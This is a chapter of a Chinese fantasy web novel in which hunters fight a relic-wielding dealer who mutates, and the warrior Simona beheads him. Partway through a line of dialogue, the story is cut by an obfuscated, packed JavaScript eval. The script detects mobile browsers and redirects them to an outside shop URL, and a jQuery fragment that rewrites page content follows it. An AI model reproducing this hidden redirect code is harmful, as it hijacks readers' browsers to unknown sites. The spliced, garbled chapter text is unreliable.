12. 战士
    随着枪声响起,男人的神色一变。

    在镇内开枪必然会引起缉察队的注意,他来回收异物,对付这个猎魔人只是顺手,并不想因此搭上自己的身家性命。

    汹涌的黑影顿时调头返了回去,擎着他那臃肿的身躯送上了旁边一处屋顶。男人体型虽胖,身手却异常灵活,即使拖着装箱子的布袋,在地势起伏的屋顶上跑起来仍然如履平地。

    眼看对方就要逃走,路远寒眼中杀意闪过,伸展的触手钩住梯子一端,瞬间翻上了房檐,急速朝着男人追去。

    踩碎瓦片的声音接连响起,男人回头一看,发现那个猎魔人竟阴魂不散地跟在后面,像个幽灵似的,顿时眉头紧皱。

    黑暗中阴影的效果远不如前,不能再用来对付敌人,他的手朝着衣袋里摸去,拿出一座袖珍的人鱼雕像,雕像在温热的抚触下活了过来,口中发出一阵接着一阵让人心潮激荡的旋律。

    在它如泣如诉的歌声下,路远寒立刻慢了下来,身体仿佛灌了铅一样,被重力压着迈不开腿。但他的思维仍然清晰,当即拿出锯肉刀朝远处扔去,刀柄回旋几圈砸在男人手上,雕像脱手而出,一溜烟顺着房檐滚了下去,他的身体又重新恢复了轻盈。

    路远寒向前一扑,就势拿住钢刀起身。

    他手中的锯肉刀展开利齿,和主人一样凶光毕露。路远寒此时已经接近男人周身,引发了他的危险感。男人握着手杖挥去,路远寒委身避过,杖端落在屋顶,瞬间砸塌了一大片区域,两个人同时摔落在地,被压在尘土飞扬的废墟之下。

    看着路远寒从瓦砾中挣扎着爬起,男人不由得大惊失色。

    这猎魔人身上没有携带任何一件异物,却能追杀他到这种程度,实在是让人毛骨悚然。他捂着被一根钢筋贯穿的肚子,已经有些后悔刚才惹上这个麻烦,事已至此,也只能松开手抱起箱子,匆忙跑了出去。

    从他腹部洇出的血液不断打在地上,伤势这般严重,男人却还能保持行动,路远寒推断他应该有一件异物正在发挥作用。

    路远寒权衡了一下再追下去能否抓到对方,要是动用触手,他就必须保证杀了对方,不能让自己的秘密泄露出去。很快他不作多想,身体迅猛地向前跃起,不断缩短着两人间的距离。

    就在路远寒的钢刀被手杖挡下,准备放出触须的时候,一针熟悉的镇静剂射在男人肩膀上,威尔斯竟然也找了过来。

    路远寒立刻压下身体的蠕动,两个猎魔人前后夹击,将男人逼到了绝处。

    只见他神情骤然间变得阴沉癫狂,竟是不跑了,手掌从伤口伸进腹部,带出大半截血肉模糊的肠子,攥在手里硬生生拧断了,将它放在一张褐黄色的牛皮纸上。

    而那牛皮纸似乎有着诡异的力量,散发出的血光笼罩着男人按上去的手指,顺着血管的走势向上游去,一根根盘错生瘤的筋肉挣脱皮肤在空中舞动,顷刻间将他这只手臂打造成了一条被血肉缠绕着的巨大腕足。而他瞳孔中已经彻底被狂乱的纹路填满,只剩下吞噬一切的欲望。

    面对失去理智的敌人,路远寒和威尔斯都看出其中的凶险,立刻向后退去。

    男人高举血手,肆虐的血管朝着两人分别追来。路远寒侧过身绕着一圈飞快闪避,威尔斯手上的猎斧猛然砍下一截腕足,断口瞬间又增生出新的肉节,涌出的力量堪比野兽,缠着他的脖颈将人吊在了半空中。

    情势十分危急,所幸在这畸变力量的影响下男人似乎变得痴愚迟钝,此刻路远寒已经从背后接近了他,手中的枪管对着后脑勺连开数发。

    子弹齐飞,却被那块隆突的皮肤裹住慢慢吸收进去,让这怪物愤怒地转过身来,手臂也松开威尔斯,立刻朝着路远寒抽了过来。

    一道剑光划过,半截巨大的血肉腕足被从中间斩断,从高空落下的身影正是西蒙娜。

    断口滋生出的肉条缠着那把大剑与她抗衡,西蒙娜目光一沉,竟然松开手让武器被怪物卷走,紧接着举起双手向两边一扯,径直撕开了那条异变的胳膊。撕下的血肉仍在狂躁地扭动,被她踩在脚下,用夺回的重剑猛地砸成不能复生的肉泥。

    飙起的血雨倾洒在西蒙娜脸上,为她冷峻的面容再添一丝残酷。

    被断了畸变血肉的男人像是找回了部分理智,踉跄着不断向后退去,人鱼雕像丢了,扳指则套在地上的断手处,身上能用的异物寥寥无几,他只能用另一只手握着手杖朝西蒙娜不断挥去。

    能砸穿地板的力量,却被这个居高临下藐视着他的猎魔人一手扛住了。

    “怪物……”他不由得喃喃着。

    西蒙娜抬起大剑,将他的脑袋削了下来。那颗头颅滚落在血水中,还能看到双眼中逐渐消散的惊恐。

    雨水倾盆而下,西蒙娜转头望向旁边的两人,早在她出手的时候,威尔斯就将路远寒拉到了一旁,说他们接下来不用掺和了。这位赫赫有名的战士无愧于她的称号,只是凭借一双手、一把大剑,就解决了让猎魔人都束手无策的怪物。

    “这是你的委托目标?”西蒙娜皱了下眉,“对你们来说太危险了。”

    “这人滑不溜手的,前几次遇到都没这么拼命。”威尔斯低头查看着那具尸体,“奥斯温给了他重创,他被我们两个人夹击,恐怕是逼急了才会选择这种疯狂的方式。”

    路远寒没有应声。

    刚才西蒙娜的表现让他内心警铃大作,审查的时候他知道对方位高权重,压迫感极强,对她的实力却没有一个直观的判断,现在终于清楚了。赤手空拳就能撕开畸变血肉,要是自己身份暴露的话,恐怕也会落得这样的下场。

    “这次刚好碰上我回来,是你们运气好。要是没人援助的话,你们该怎么办?”西蒙娜提点了两句,忽然转头望向了一边的街角,“缉察队……”

    正从街角往这里赶来的两人,身上赫然是属于缉察队的制服。即使西蒙娜不在场,威尔斯他们再坚持一阵,等到缉察队出手,也能将局面控制下来。

    “我刚遇到这个人的时候开了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962870|136825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    枪,应该是把缉察队引过来了。”路远寒解释道,“出于自卫开枪的话,算违反条例吗?”

    “不,面对这种持有异物的敌人,什么都不做才是最危险的选择。”西蒙娜摇了摇头,再一次审视起了面前的年轻人。他的行为是无心还是有意,还有待继续考量。

    面对缉察队的盘问,三人将事情的来龙去脉叙述了一遍,介于西蒙娜的身份地位,那两名督察并没有过分追究,只是例行公事地走完流程,并就异物的归属问题和她展开了一场辩论。

    现场散落的异物共有五件:沾满血迹的羊皮纸、长着嘴的箱子和箱中之画、险些被西蒙娜毁坏的手杖,以及断手上的扳指。

    在威尔斯的仔细翻找下,又从尸体的脖颈下搜到一条项链,这条项链具有镇痛缓和伤势的效果,正是雇主托他寻回的目标。

    这些异物有的来源不明,另一部分则是这个二道贩子盗窃或抢劫来的。

    缉察队声称应该由他们看管其中非常危险的异物,并将失窃物送还回去物归原主,西蒙娜却说并不信任他们,毕竟缉察队是伯爵座下的鹰犬一事人尽皆知。

    路远寒冷眼看着他们为了利益争执,两方唇枪舌战,最后商定由缉察队负责处理前三件危险品,剩下三件由猎魔人处置。猎魔人一方看似分到了战斗物品,实则做出了让步,那个能收容其它异物的箱子才是里面最有价值的异物。

    看着缉察队处理尸体,防止畸变的影响扩散,西蒙娜将分得的手杖交给了路远寒:“拿好了。”

    路远寒不由得一怔,随即反应过来。显然对于西蒙娜而言,她的力量足够强大,这些异物并不是必需品,只是为了两个下属在争取利益,既然威尔斯已经拿到了委托目标,剩下两件理应分给路远寒一份。

    他斟酌片刻,示意西蒙娜离缉察队远一些,随即将扳指的用途和人鱼雕像的存在报告了上去。二道贩子已死,猎魔人协会迟早也会查明这些信息,要是隐瞒不报,反倒显得可疑,现在主动说明情况,应该还能给领导留下一个好印象。

    正如路远寒猜测的那样,这个行为让西蒙娜对他的印象稍有改观。

    之前她还在想这个城府颇深的新人是否藏着什么秘密,现在则缓和了一些,将奥斯温·乔治的名字从可疑分子一栏划到了能够包容的灰色区域。

    就在三人准备离开的时候,缉察队的人再次叫住了他们。

    为首那名金发督察拿出记录档案,开口说道:“抱歉,刚才忘记问了……前几天有一位督察在附近失踪了,极有可能是畸变物作案,我们正在排查这片区域,你们有什么线索可以提供吗?”

    路远寒的呼吸停了下来。

    他开始回想那天是否有目击证人,现场有没有留下什么痕迹。按照霍普斯的降雨量,即使安格斯的遗骨没有被老鼠解决,也应该顺着下水道汇入地海了。而他的配枪则在诊所地下室放着,从那天起就没有再出现过了。

    路远寒想,地下室的东西必须要处理了。